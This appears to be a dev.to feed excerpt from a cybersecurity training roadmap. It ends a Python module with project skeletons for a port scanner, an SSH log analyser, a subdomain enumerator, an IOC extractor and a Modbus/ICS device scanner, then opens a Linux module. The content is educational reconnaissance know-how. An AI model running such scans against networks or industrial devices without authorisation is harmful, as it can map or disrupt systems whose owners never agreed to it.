&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  11. Hands-On Projects
&lt;/h2&gt;

&lt;p&gt;These projects build directly on everything in this module. Complete them in order. Do not look up solutions until you have spent genuine time trying.&lt;/p&gt;
&lt;h3&gt;
  
  
  Project 1: Port Scanner (1.5 hours)
&lt;/h3&gt;

&lt;p&gt;Build a TCP port scanner from scratch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Port Scanner — Stage 0.5 Project 1
Build this yourself using the concepts from this module.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Return True if port is open.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Your implementation here
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start_port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end_port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Scan a range of ports using threads.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="c1"&gt;# Use ThreadPoolExecutor for concurrent scanning
&lt;/span&gt;    &lt;span class="c1"&gt;# Your implementation here
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Use argparse for argument handling
&lt;/span&gt;    &lt;span class="c1"&gt;# Accept: target host, port range, thread count, timeout
&lt;/span&gt;    &lt;span class="c1"&gt;# Output: list of open ports with service names (use socket.getservbyport)
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Required features:
# 1. Validate IP/hostname input
# 2. Handle connection refused, timeouts separately
# 3. Multi-threaded scanning
# 4. Show progress
# 5. Output results in a clean format
# 6. Optionally save to JSON
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 2: Log Analyser (1 hour)
&lt;/h3&gt;

&lt;p&gt;Parse an SSH auth log and produce a security report.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
SSH Log Analyser — Stage 0.5 Project 2
Analyse /var/log/auth.log and produce security insights.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="c1"&gt;# Your script should:
# 1. Parse auth.log line by line
# 2. Extract: timestamp, event type, username, source IP
# 3. Count: failed attempts by IP, failed attempts by username
# 4. Identify: IPs with &amp;gt; 10 failed attempts (potential brute force)
# 5. Find: successful logins after multiple failures (potential successful brute force)
# 6. Output: formatted report with counts and top attackers
# 7. Optionally: write report to file
&lt;/span&gt;
&lt;span class="c1"&gt;# Sample output format:
# === SSH Security Report ===
# Period: 2026-05-29 00:00:00 to 2026-05-29 23:59:59
# Total events: 15,432
# Failed login attempts: 14,891
# Successful logins: 541
#
# Top 5 attacking IPs:
#   1. 45.12.34.56: 2,341 attempts
#   2. 89.45.67.89: 1,876 attempts
#   ...
#
# Suspicious: IPs with successful login after 10+ failures:
#   - 10.0.0.5: 47 failures, then 1 success for user 'admin'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 3: Subdomain Enumerator (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Subdomain Enumerator — Stage 0.5 Project 3
Discover subdomains using a wordlist and DNS resolution.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resolve_subdomain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Try to resolve subdomain.domain. Return IP if exists, None if not.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;fqdn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gethostbyname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fqdn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fqdn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;enumerate_subdomains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wordlist_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Enumerate subdomains using a wordlist.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Read wordlist
&lt;/span&gt;    &lt;span class="c1"&gt;# Use ThreadPoolExecutor to resolve concurrently
&lt;/span&gt;    &lt;span class="c1"&gt;# Return list of (fqdn, ip) tuples for discovered subdomains
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Test with: python3 subdomain_enum.py -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Wordlists are in /usr/share/seclists/ on Kali
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 4: IOC Extractor (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
IOC Extractor — Stage 0.5 Project 4
Extract Indicators of Compromise from text (emails, logs, reports).
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# Extract all of:
# - IPv4 addresses
# - IPv6 addresses  
# - Domain names
# - URLs (http and https)
# - Email addresses
# - MD5 hashes
# - SHA1 hashes
# - SHA256 hashes
# - File paths (Windows and Linux)
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_iocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Extract all IOC types from text. Return dict of IOC type → list.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Your regex-based implementation here
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Usage: cat suspicious_email.txt | python3 ioc_extractor.py
# Or: python3 ioc_extractor.py -f malware_report.txt -o iocs.json
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 5: Modbus Scanner (OT/ICS Specific — 2 hours)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Modbus TCP Scanner — Stage 0.5 Project 5
Discover and fingerprint Modbus TCP devices on a network.
This is directly relevant to OT/ICS security assessment.

Install: pip3 install pymodbus
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pymodbus.client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusTcpClient&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;probe_modbus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Probe a host for Modbus TCP.
    Try to read device identification (function code 43/14).
    Return device info dict or None.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ModbusTcpClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

        &lt;span class="c1"&gt;# Try reading holding registers (function code 03)
&lt;/span&gt;        &lt;span class="c1"&gt;# Registers 0-9, unit ID 1
&lt;/span&gt;        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_holding_registers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;slave&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;port&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;responsive&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isError&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;registers&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;registers&lt;/span&gt;

        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Scan an entire subnet for Modbus devices.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;network&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;found_devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="c1"&gt;# Your threaded implementation here
&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;found_devices&lt;/span&gt;

&lt;span class="c1"&gt;# This scanner demonstrates:
# 1. Industrial protocol implementation in Python
# 2. Network scanning with proper error handling
# 3. Concurrency for performance
# 4. Structured output suitable for reporting
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Automate the Boring Stuff with Python"&lt;/strong&gt; — Al Sweigart (free at automatetheboringstuff.com). Practical Python without the academic fluff.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Black Hat Python"&lt;/strong&gt; — Justin Seitz. Security-specific Python — network sniffer, trojans, forensics tools. Directly applicable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Violent Python"&lt;/strong&gt; — TJ O'Connor. Older but foundational — shows how to build security tools from scratch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Learning Python"&lt;/strong&gt; — Mark Lutz. The comprehensive reference if you want deep language knowledge.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Online Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Python official docs&lt;/strong&gt; — docs.python.org/3 — the most accurate reference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real Python&lt;/strong&gt; (realpython.com) — high quality tutorials&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PyMOTW&lt;/strong&gt; (pymotw.com) — Python Module of the Week — deep dives into standard library&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;regex101.com&lt;/strong&gt; — test regex patterns interactively with explanation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exercism.io&lt;/strong&gt; (Python track) — structured exercises with mentor feedback&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HackerRank&lt;/strong&gt; (Python domain) — algorithmic challenges&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PicoCTF&lt;/strong&gt; — CTF challenges where Python scripting solves many problems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CryptoHack&lt;/strong&gt; (cryptohack.org) — cryptography challenges solved in Python&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Essential Security Libraries
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install the core security Python toolkit&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    scapy &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Packet crafting and analysis&lt;/span&gt;
    requests &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# HTTP library&lt;/span&gt;
    pwntools &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# CTF/exploit development&lt;/span&gt;
    impacket &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Windows network protocols&lt;/span&gt;
    cryptography &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Cryptographic operations&lt;/span&gt;
    paramiko &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# SSH client/server&lt;/span&gt;
    pymodbus &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Modbus industrial protocol&lt;/span&gt;
    python-nmap &lt;span class="se"&gt;\ &lt;/span&gt;   &lt;span class="c"&gt;# Nmap wrapper&lt;/span&gt;
    shodan &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Shodan API&lt;/span&gt;
    volatility3      &lt;span class="c"&gt;# Memory forensics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Stage 00 Complete — What You Now Have
&lt;/h2&gt;

&lt;p&gt;With this module, Stage 00 — Foundations is complete. Here is what you have built:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stage 00 — Complete
├── ✅ Hardware Fundamentals     — CPU rings, RAM attacks, firmware, physical security
├── ✅ OS Fundamentals           — Kernel, user/kernel mode, processes, file systems, syscalls
├── ✅ Windows Fundamentals      — Registry, services, UAC, Defender, PowerShell, Event Log
├── ✅ Linux Fundamentals        — Permissions, users, services, cron, SSH, logs
└── ✅ Programming Fundamentals  — Python, variables, loops, functions, files, regex, algorithms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What this foundation enables:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You understand why the stack smashing vulnerability works — because you know how memory layout works, what stack frames are, and what the instruction pointer does.&lt;/li&gt;
&lt;li&gt;You understand why Pass-the-Hash works — because you know NTLM authentication, the Windows token system, and how credentials are stored in LSASS.&lt;/li&gt;
&lt;li&gt;You understand why SUID exploitation works — because you know the Linux permission model, the difference between real and effective UID, and how the kernel enforces privilege boundaries.&lt;/li&gt;
&lt;li&gt;You can write scripts that automate your work — because you have Python fundamentals and understand file I/O, error handling, and basic algorithms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next: Stage 01 — Network Fundamentals&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The internet runs on protocols. Every attack crosses a network. Every defence monitors network traffic. Stage 01 builds the networking knowledge that everything from enumeration to exploitation to detection depends on.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Stage:&lt;/strong&gt; &lt;a href="//../STAGE-01_Network-Fundamentals/README.md"&gt;Stage 01 — Network Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-0.4-linux-fundamentals.md"&gt;Stage 0.4 — Linux Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 00 README&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>security</category>
      <category>api</category>
      <category>learning</category>
    </item>
    <item>
      <title>Stage 0.4 — Linux Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Fri, 29 May 2026 07:43:39 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-04-linux-fundamentals-51j9</link>
      <guid>https://dev.to/rencberakman/stage-04-linux-fundamentals-51j9</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 0 — Computer Science Foundations&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 0.4 — Linux Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0.2 — OS Fundamentals, Stage 0.3 — Windows Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 0.5 — Programming Fundamentals&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Linux Is the Security Professional's Native Environment&lt;/li&gt;
&lt;li&gt;Linux Distributions&lt;/li&gt;
&lt;li&gt;The Terminal — Your Primary Interface&lt;/li&gt;
&lt;li&gt;Core Commands&lt;/li&gt;
&lt;li&gt;File Permissions — rwx, chmod, chown&lt;/li&gt;
&lt;li&gt;User Management&lt;/li&gt;
&lt;li&gt;Package Management&lt;/li&gt;
&lt;li&gt;Service Management — systemctl&lt;/li&gt;
&lt;li&gt;Cron Jobs&lt;/li&gt;
&lt;li&gt;Bash Scripting Fundamentals&lt;/li&gt;
&lt;li&gt;Linux Log System&lt;/li&gt;
&lt;li&gt;SSH — Secure Shell&lt;/li&gt;
